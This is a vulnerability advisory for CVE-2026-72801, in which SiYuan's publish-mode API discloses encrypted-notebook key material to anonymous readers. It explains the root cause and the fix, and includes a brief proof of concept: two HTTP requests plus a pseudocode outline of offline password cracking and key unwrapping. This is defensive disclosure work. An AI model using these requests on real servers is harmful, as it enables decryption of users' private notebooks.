high · 7.5CVE-2026-72801Sep 3, 2026

CVE-2026-72801: SiYuan Encrypted Notebook Key Material Disclosed to Anonymous Readers

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

SiYuan's publish-mode API leaks the Argon2id salt, cost parameters, and AES-GCM password verifier to unauthenticated readers, letting an attacker crack the encrypted-notebook master password entirely…

Packagegithub.com/siyuan-note/siyuan/kernel
Ecosystemgo
Affected< 0.0.0-20260724102025-3bc014c7dc32
Fixed in0.0.0-20260724102025-3bc014c7dc32
CVE-2026-72801: SiYuan Encrypted Notebook Key Material Disclosed to Anonymous Readers

The problem

Two CheckAuth-only endpoints, POST /api/system/getConf and POST /api/notebook/getNotebookConf, are reachable by publish RoleReader sessions and by the anonymous account when Publish.Auth.Enable is false.

getConf calls GetMaskedConf() and then HideConfSecret() to scrub sensitive fields for non-administrators. HideConfSecret nulls fields for AI, API tokens, sync, and secrets, but contains no reference to NotebookCrypto. The full notebookCrypto object, including MasterSalt, KDFParams, KEKVerifier, VerifierNonce, and KEKMAC, is therefore returned verbatim.

getNotebookConf returns the full BoxConf, including BoxCrypt.WrappedDEK and WrapNonce, with no reader-role filter. Together these two responses give a remote attacker everything needed to run an unlimited, GPU-parallel offline dictionary attack against the master password, and then unwrap the per-notebook data key to decrypt notebook content.

Proof of concept

A working proof-of-concept for CVE-2026-72801 in github.com/siyuan-note/siyuan/kernel, with the exact payload below.

http
# Step 1: retrieve Argon2id KDF material and password verifier (anonymous or RoleReader)
POST http://TARGET:6808/api/system/getConf
Content-Type: application/json

{}

# Response includes (other secret fields are correctly blanked):
# .data.conf.notebookCrypto.MasterSalt
# .data.conf.notebookCrypto.KDFParams   (Argon2id memory/time/parallelism)
# .data.conf.notebookCrypto.KEKVerifier + VerifierNonce
# .data.conf.notebookCrypto.KEKMAC

# Step 2: retrieve the wrapped per-notebook data key
POST http://TARGET:6808/api/notebook/getNotebookConf
Content-Type: application/json

{"notebook": "<NOTEBOOK_ID>"}

# Response includes:
# .data.conf.boxCrypt.WrappedDEK
# .data.conf.boxCrypt.WrapNonce

# Step 3: offline crack (no further server contact required)
# KEK = Argon2id(candidate_password, MasterSalt, KDFParams)
# correct if AES-GCM-decrypt(KEKVerifier, VerifierNonce, KEK) == magic
#          or HMAC-SHA256(KEK) == KEKMAC
# On success: DEK = AES-GCM-decrypt(WrappedDEK, WrapNonce, KEK)

The root cause is a gap in HideConfSecret: it explicitly strips a dozen secret-bearing fields (API tokens, sync keys, repo credentials) but has no case for NotebookCrypto, so the full KDF material and verifier pass through to any authenticated reader or anonymous user.

The notebookCrypto struct fields carry non-- JSON tags, so Go's marshaller includes them in every getConf response. The verifier exists precisely to let the desktop client confirm a correct password without a server round-trip, which is the right design for local use, but becomes an offline cracking oracle when served to remote unauthenticated parties.

getNotebookConf has no reader-role guard at all, so BoxCrypt.WrappedDEK is also exposed. The CWE is Insufficiently Protected Credentials (CWE-522): secret cryptographic material is transmitted to parties that should not receive it.

The fix

Upgrade to SiYuan v3.7.4 (Go module pseudo-version 0.0.0-20260724102025-3bc014c7dc32 or later). The patch adds NotebookCrypto to HideConfSecret so non-administrators receive only an {enabled: bool} flag, stripping MasterSalt, KDFParams, KEKVerifier, VerifierNonce, and KEKMAC.

It also applies a reader-role filter to getNotebookConf and getNotebookInfo so BoxCrypt (including WrappedDEK and WrapNonce) is omitted for non-administrator roles.

Reporter not attributed.

References: [1][2][3][4]

Related research